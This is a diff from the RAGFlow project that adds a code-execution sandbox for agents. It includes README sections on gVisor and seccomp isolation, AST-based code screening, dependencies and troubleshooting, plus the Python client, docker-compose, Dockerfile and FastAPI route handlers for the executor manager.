+| `make restart`    | Shortcut for `stop` + `start`                    |
+| `make test`       | Run full test suite                              |
+| `make logs`       | Stream container logs                            |
+| `make clean`      | Stop and remove orphan containers and volumes    |
+
+---
+
+## 🔐 Security
+
+The RAGFlow sandbox is designed to balance security and usability, offering solid protection without compromising developer experience.
+
+### ✅ gVisor Isolation
+
+At its core, we use [gVisor](https://gvisor.dev/docs/architecture_guide/security/), a user-space kernel, to isolate code execution from the host system. gVisor intercepts and restricts syscalls, offering robust protection against container escapes and privilege escalations.
+
+### 🔒 Optional seccomp Support (Advanced)
+
+For users who need **zero-trust-level syscall control**, we support an additional `seccomp` profile. This feature restricts containers to only a predefined set of system calls, as specified in `executor_manager/seccomp-profile-default.json`.
+
+> ⚠️ This feature is **disabled by default** to maintain compatibility and usability. Enabling it may cause compatibility issues with some dependencies.
+
+#### To enable seccomp
+
+1. Edit your `.env` file:
+
+   ```dotenv
+   SANDBOX_ENABLE_SECCOMP=true
+   ```
+
+2. Customize allowed syscalls in:
+
+   ```
+   executor_manager/seccomp-profile-default.json
+   ```
+
+   This profile is passed to the container with:
+
+   ```bash
+   --security-opt seccomp=/app/seccomp-profile-default.json
+   ```
+
+### 🧠 Python Code AST Inspection
+
+In addition to sandboxing, Python code is **statically analyzed via AST (Abstract Syntax Tree)** before execution. Potentially malicious code (e.g. file operations, subprocess calls, etc.) is rejected early, providing an extra layer of protection.
+
+---
+
+This security model strikes a balance between **robust isolation** and **developer usability**. While `seccomp` can be highly restrictive, our default setup aims to keep things usable for most developers — no obscure crashes or cryptic setup required.
+
+## 📦 Add Extra Dependencies for Supported Languages
+
+Currently, the following languages are officially supported:
+
+| Language | Priority |
+|----------|----------|
+| Python   | High     |
+| Node.js  | Medium   |
+
+### 🐍 Python
+
+Pre-installed packages: `requests`, `numpy`, `pandas`, `matplotlib`.
+
+> `matplotlib` uses the `Agg` (non-interactive) backend by default in the sandbox (`MPLBACKEND=Agg`). No display server is available, so always save figures to files (e.g. `fig.savefig("artifacts/chart.png")`) rather than calling `plt.show()`.
+>
+> Tip: if Chinese text renders as missing boxes/squares in `matplotlib`, install Debian package `fonts-noto-cjk` in your custom image. We do not preinstall it by default to keep the base image smaller. The sandbox base image ships a `matplotlibrc` that already lists common CJK fonts in the `font.sans-serif` fallback chain, so no code-level font configuration is needed — just install the font package and rebuild the image.
+>
+> Example:
+>
+> ```dockerfile
+> RUN apt-get update && apt-get install -y --no-install-recommends fonts-noto-cjk && rm -rf /var/lib/apt/lists/*
+> ```
+
+To add more dependencies, edit:
+
+```bash
+sandbox_base_image/python/requirements.txt
+```
+
+Add any additional packages you need, one per line (just like a normal pip requirements file).
+
+### 🟨 Node.js
+
+Pre-installed packages: `axios`.
+
+To add Node.js dependencies:
+
+1. Navigate to the Node.js base image directory:
+
+   ```bash
+   cd sandbox_base_image/nodejs
+   ```
+
+2. Use `npm` to install the desired packages. For example:
+
+   ```bash
+   npm install lodash
+   ```
+
+3. The dependencies will be saved to `package.json` and `package-lock.json`, and included in the Docker image when rebuilt.
+
+---
+
+
+## Usage
+
+### 🐍 A Python example
+
+```python
+def main(arg1: str, arg2: str) -> str:
+    return f"result: {arg1 + arg2}"
+```
+
+### 🟨 JavaScript examples
+
+A simple sync function
+
+```javascript
+function main({arg1, arg2}) {
+  return arg1+arg2
+}
+```
+
+Async funcion with aioxs
+
+```javascript
+const axios = require('axios');
+async function main() {
+  try {
+    const response = await axios.get('https://github.com/infiniflow/ragflow');
+    return 'Body:' + response.data;
+  } catch (error) {
+    return 'Error:' + error.message;
+  }
+}
+```
+
+---
+
+## 📋 FAQ
+
+### ❓Sandbox Not Working?
+
+Follow this checklist to troubleshoot:
+
+- [ ] **Is your machine compatible with gVisor?**
+
+  Ensure that your system supports gVisor. Refer to the [gVisor installation guide](https://gvisor.dev/docs/user_guide/install/).
+
+- [ ] **Is gVisor properly installed?**
+
+  **Common error:**
+
+  `HTTPConnectionPool(host='sandbox-executor-manager', port=9385): Read timed out.`
+
+  Cause: `runsc` is an unknown or invalid Docker runtime.
+  **Fix:**
+
+  - Install gVisor
+
+  - Restart Docker
+
+  - Test with:
+
+    ```bash
+    docker run --rm --runtime=runsc hello-world
+    ```
+
+- [ ] **Is `sandbox-executor-manager` mapped in `/etc/hosts`?**
+
+  **Common error:**
+
+  `HTTPConnectionPool(host='none', port=9385): Max retries exceeded.`
+
+  **Fix:**
+
+  Add the following entry to `/etc/hosts`:
+
+  ```text
+  127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager
+  ```
+
+- [ ] **Are you running the latest executor manager image?**
+
+  **Common error:**
+
+  `docker: Error response from daemon: client version 1.43 is too old. Minimum supported API version is 1.44`
+
+  **Fix:**
+
+  Pull the refreshed image that bundles Docker CLI `29.1.0`, or rebuild it in `./sandbox/executor_manager`:
+
+  ```bash
+  docker pull infiniflow/sandbox-executor-manager:latest
+  # or
+  docker build -t sandbox-executor-manager:latest ./sandbox/executor_manager
+  ```
+
+- [ ] **Have you enabled sandbox-related configurations in RAGFlow?**
+
+  Double-check that all sandbox settings are correctly enabled in your RAGFlow configuration.
+
+- [ ] **Have you pulled the required base images for the runners?**
+
+  **Common error:**
+
+  `HTTPConnectionPool(host='sandbox-executor-manager', port=9385): Read timed out.`
+
+  Cause: no runner was started.
+
+  **Fix:**
+
+  Pull the necessary base images:
+
+  ```bash
+  docker pull infiniflow/sandbox-base-nodejs:latest
+  docker pull infiniflow/sandbox-base-python:latest
+  ```
+
+- [ ] **Did you restart the service after making changes?**
+
+  Any changes to configuration or environment require a full service restart to take effect.
+
+
+### ❓Container pool is busy?
+
+All available runners are currently in use, executing tasks/running code. Please try again shortly, or consider increasing the pool size in the configuration to improve availability and reduce wait times.
+
+## 🤝 Contribution
+
+Contributions are welcome!

agent/sandbox/client.py

@@ -0,0 +1,249 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+"""
+Sandbox client for agent components.
+
+This module provides a unified interface for agent components to interact
+with the configured sandbox provider.
+"""
+
+import json
+import logging
+from typing import Dict, Any, Optional
+
+from api.db.services.system_settings_service import SystemSettingsService
+from agent.sandbox.providers import ProviderManager
+from agent.sandbox.providers.base import ExecutionResult, SandboxProviderConfigError
+
+logger = logging.getLogger(__name__)
+
+
+# Global provider manager instance
+_provider_manager: Optional[ProviderManager] = None
+
+
+def get_provider_manager() -> ProviderManager:
+    """
+    Get the global provider manager instance.
+
+    Returns:
+        ProviderManager instance with active provider loaded
+    """
+    global _provider_manager
+
+    if _provider_manager is not None:
+        return _provider_manager
+
+    _provider_manager = ProviderManager()
+    _load_provider_from_settings()
+
+    return _provider_manager
+
+
+def _load_provider_from_settings() -> None:
+    """
+    Load sandbox provider from system settings and configure the provider manager.
+
+    This function resolves the active provider type, then loads configuration
+    from system settings.
+    """
+    global _provider_manager
+
+    if _provider_manager is None:
+        return
+
+    try:
+        provider_type = _resolve_provider_type()
+        config = _load_provider_config(provider_type)
+
+        # Import and instantiate the provider
+        from agent.sandbox.providers import (
+            SelfManagedProvider,
+            AliyunCodeInterpreterProvider,
+            E2BProvider,
+            LocalProvider,
+            SSHProvider,
+        )
+
+        provider_classes = {
+            "self_managed": SelfManagedProvider,
+            "aliyun_codeinterpreter": AliyunCodeInterpreterProvider,
+            "e2b": E2BProvider,
+            "local": LocalProvider,
+            "ssh": SSHProvider,
+        }
+
+        if provider_type not in provider_classes:
+            logger.error(f"Unknown provider type: {provider_type}")
+            return
+
+        provider_class = provider_classes[provider_type]
+        provider = provider_class()
+
+        # Initialize the provider
+        if not provider.initialize(config):
+            message = f"Failed to initialize sandbox provider: {provider_type}. Config keys: {list(config.keys())}"
+            if provider_type in {"local", "ssh"}:
+                raise SandboxProviderConfigError(message)
+            logger.error(message)
+            return
+
+        # Set the active provider
+        _provider_manager.set_provider(provider_type, provider)
+        logger.info(f"Sandbox provider '{provider_type}' initialized successfully")
+
+    except SandboxProviderConfigError:
+        raise
+    except Exception as e:
+        logger.error(f"Failed to load sandbox provider from settings: {e}")
+        import traceback
+
+        traceback.print_exc()
+
+
+def _load_provider_config_from_settings(provider_type: str) -> Dict[str, Any]:
+    provider_config_settings = SystemSettingsService.get_by_name(f"sandbox.{provider_type}")
+    if not provider_config_settings:
+        logger.warning(f"No configuration found for provider: {provider_type}")
+        return {}
+
+    try:
+        return json.loads(provider_config_settings[0].value)
+    except json.JSONDecodeError as e:
+        logger.error(f"Failed to parse sandbox config for {provider_type}: {e}")
+        return {}
+
+
+def _resolve_provider_type() -> str:
+    provider_type_settings = SystemSettingsService.get_by_name("sandbox.provider_type")
+    if not provider_type_settings:
+        return "self_managed"
+    return provider_type_settings[0].value
+
+
+def _load_provider_config(provider_type: str) -> Dict[str, Any]:
+    return _load_provider_config_from_settings(provider_type)
+
+
+def reload_provider() -> None:
+    """
+    Reload the sandbox provider from system settings.
+
+    Use this function when sandbox settings have been updated.
+    """
+    global _provider_manager
+    _provider_manager = None
+    _load_provider_from_settings()
+
+
+def execute_code(code: str, language: str = "python", timeout: int = 30, arguments: Optional[Dict[str, Any]] = None) -> ExecutionResult:
+    """
+    Execute code in the configured sandbox.
+
+    This is the main entry point for agent components to execute code.
+
+    Args:
+        code: Source code to execute
+        language: Programming language (python, nodejs, javascript)
+        timeout: Maximum execution time in seconds
+        arguments: Optional arguments dict to pass to main() function
+
+    Returns:
+        ExecutionResult containing stdout, stderr, exit_code, and metadata
+
+    Raises:
+        RuntimeError: If no provider is configured or execution fails
+    """
+    provider_manager = get_provider_manager()
+
+    if not provider_manager.is_configured():
+        raise RuntimeError("No sandbox provider configured. Please configure sandbox settings in the admin panel.")
+
+    provider = provider_manager.get_provider()
+    provider_name = provider_manager.get_provider_name() or getattr(provider, "__class__", type(provider)).__name__
+
+    logger.info(
+        "CodeExec using sandbox provider '%s' (language=%s, timeout=%ss)",
+        provider_name,
+        language,
+        timeout,
+    )
+
+    # Create a sandbox instance
+    instance = provider.create_instance(template=language)
+
+    try:
+        # Execute the code
+        result = provider.execute_code(instance_id=instance.instance_id, code=code, language=language, timeout=timeout, arguments=arguments)
+
+        return result
+
+    finally:
+        # Clean up the instance
+        try:
+            provider.destroy_instance(instance.instance_id)
+        except Exception as e:
+            logger.warning(f"Failed to destroy sandbox instance {instance.instance_id}: {e}")
+
+
+def health_check() -> bool:
+    """
+    Check if the sandbox provider is healthy.
+
+    Returns:
+        True if provider is configured and healthy, False otherwise
+    """
+    try:
+        provider_manager = get_provider_manager()
+
+        if not provider_manager.is_configured():
+            return False
+
+        provider = provider_manager.get_provider()
+        return provider.health_check()
+
+    except Exception as e:
+        logger.error(f"Sandbox health check failed: {e}")
+        return False
+
+
+def get_provider_info() -> Dict[str, Any]:
+    """
+    Get information about the current sandbox provider.
+
+    Returns:
+        Dictionary with provider information:
+        - provider_type: Type of the active provider
+        - configured: Whether provider is configured
+        - healthy: Whether provider is healthy
+    """
+    try:
+        provider_manager = get_provider_manager()
+
+        return {
+            "provider_type": provider_manager.get_provider_name(),
+            "configured": provider_manager.is_configured(),
+            "healthy": health_check(),
+        }
+
+    except Exception as e:
+        logger.error(f"Failed to get provider info: {e}")
+        return {
+            "provider_type": None,
+            "configured": False,
+            "healthy": False,
+        }

agent/sandbox/docker-compose.yml

@@ -0,0 +1,32 @@
+services:
+  sandbox-executor-manager:
+    build:
+      context: ./executor_manager
+      dockerfile: Dockerfile
+    image: sandbox-executor-manager:latest
+    runtime: runc
+    privileged: true
+    ports:
+      - "${SANDBOX_EXECUTOR_MANAGER_PORT:-9385}:9385"
+    volumes:
+      - /var/run/docker.sock:/var/run/docker.sock
+    networks:
+      - sandbox-network
+    restart: always
+    security_opt:
+      - no-new-privileges:true
+    environment:
+      - SANDBOX_EXECUTOR_MANAGER_POOL_SIZE=${SANDBOX_EXECUTOR_MANAGER_POOL_SIZE:-5}
+      - SANDBOX_BASE_PYTHON_IMAGE=${SANDBOX_BASE_PYTHON_IMAGE-sandbox-base-python:latest}
+      - SANDBOX_BASE_NODEJS_IMAGE=${SANDBOX_BASE_NODEJS_IMAGE-sandbox-base-nodejs:latest}
+      - SANDBOX_ENABLE_SECCOMP=${SANDBOX_ENABLE_SECCOMP:-false}
+      - SANDBOX_MAX_MEMORY=${SANDBOX_MAX_MEMORY:-256m} # b, k, m, g
+      - SANDBOX_TIMEOUT=${SANDBOX_TIMEOUT:-10s} # s, m, 1m30s
+    healthcheck:
+      test: ["CMD-SHELL", "curl --fail http://localhost:9385/healthz || exit 1"]
+      interval: 10s
+      timeout: 5s
+      retries: 5
+networks:
+  sandbox-network:
+    driver: bridge

agent/sandbox/executor_manager/Dockerfile

@@ -0,0 +1,41 @@
+FROM python:3.11-slim-bookworm
+
+ARG NEED_MIRROR=1
+
+RUN if [ "$NEED_MIRROR" = 1 ]; then \
+        grep -rl 'deb.debian.org' /etc/apt/ | xargs sed -i 's|http[s]*://deb.debian.org|https://mirrors.tuna.tsinghua.edu.cn|g'; \
+    fi; \
+    apt-get update && \
+    apt-get install -y curl gcc && \
+    rm -rf /var/lib/apt/lists/*
+
+ARG TARGETARCH
+ARG TARGETVARIANT
+
+RUN set -eux; \
+    case "${TARGETARCH}${TARGETVARIANT}" in \
+        amd64) DOCKER_ARCH=x86_64 ;; \
+        arm64) DOCKER_ARCH=aarch64 ;; \
+        armv7) DOCKER_ARCH=armhf ;; \
+        armv6) DOCKER_ARCH=armel ;; \
+        arm64v8) DOCKER_ARCH=aarch64 ;; \
+        arm64v7) DOCKER_ARCH=armhf ;; \
+        arm*) DOCKER_ARCH=armhf ;; \
+        ppc64le) DOCKER_ARCH=ppc64le ;; \
+        s390x) DOCKER_ARCH=s390x ;; \
+        *) echo "Unsupported architecture: ${TARGETARCH}${TARGETVARIANT}" && exit 1 ;; \
+    esac; \
+    echo "Downloading Docker for architecture: ${DOCKER_ARCH}"; \
+    curl -fsSL "https://download.docker.com/linux/static/stable/${DOCKER_ARCH}/docker-29.1.0.tgz" | \
+    tar xz -C /usr/local/bin --strip-components=1 docker/docker; \
+    ln -sf /usr/local/bin/docker /usr/bin/docker
+
+COPY --from=ghcr.io/astral-sh/uv:0.7.5 /uv /uvx /bin/
+
+WORKDIR /app
+COPY . .
+
+RUN if [ "$NEED_MIRROR" = 1 ]; then export UV_INDEX_URL="https://pypi.tuna.tsinghua.edu.cn/simple"; else export UV_INDEX_URL="https://pypi.org/simple"; fi && \
+    uv pip install --system -r requirements.txt
+
+CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "9385"]

agent/sandbox/executor_manager/api/__init__.py

@@ -0,0 +1,15 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#

agent/sandbox/executor_manager/api/handlers.py

@@ -0,0 +1,49 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import base64
+
+from core.container import _CONTAINER_EXECUTION_SEMAPHORES
+from core.logger import logger
+from fastapi import Request
+from models.enums import ResultStatus, SupportLanguage
+from models.schemas import CodeExecutionRequest, CodeExecutionResult
+from services.execution import execute_code
+from services.limiter import limiter
+from services.security import analyze_code_security
+
+
+async def healthz_handler():
+    return {"status": "ok"}
+
+
+@limiter.limit("5/second")
+async def run_code_handler(req: CodeExecutionRequest, request: Request):
+    logger.info("🟢 Received /run request")
+
+    async with _CONTAINER_EXECUTION_SEMAPHORES[req.language]:
+        code = base64.b64decode(req.code_b64).decode("utf-8")
+        if req.language == SupportLanguage.NODEJS:
+            code += "\n\nmodule.exports = { main };"
+            req.code_b64 = base64.b64encode(code.encode("utf-8")).decode("utf-8")
+        is_safe, issues = analyze_code_security(code, language=req.language)
+        if not is_safe:
+            issue_details = "\n".join([f"Line {lineno}: {issue}" for issue, lineno in issues])
+            return CodeExecutionResult(status=ResultStatus.PROGRAM_RUNNER_ERROR, stdout="", stderr=issue_details, exit_code=-999, detail="Code is unsafe")
+
+        try:
+            return await execute_code(req)
+        except Exception as e:
+            return CodeExecutionResult(status=ResultStatus.PROGRAM_RUNNER_ERROR, stdout="", stderr=str(e), exit_code=-999, detail="unhandled_exception")

agent/sandbox/executor_manager/api/routes.py

@@ -0,0 +1,24 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from fastapi import APIRouter
+
+from api.handlers import healthz_handler, run_code_handler
+
+router = APIRouter()
+
+router.get("/")(healthz_handler)
+router.get("/healthz")(healthz_handler)
+router.post("/run")(run_code_handler)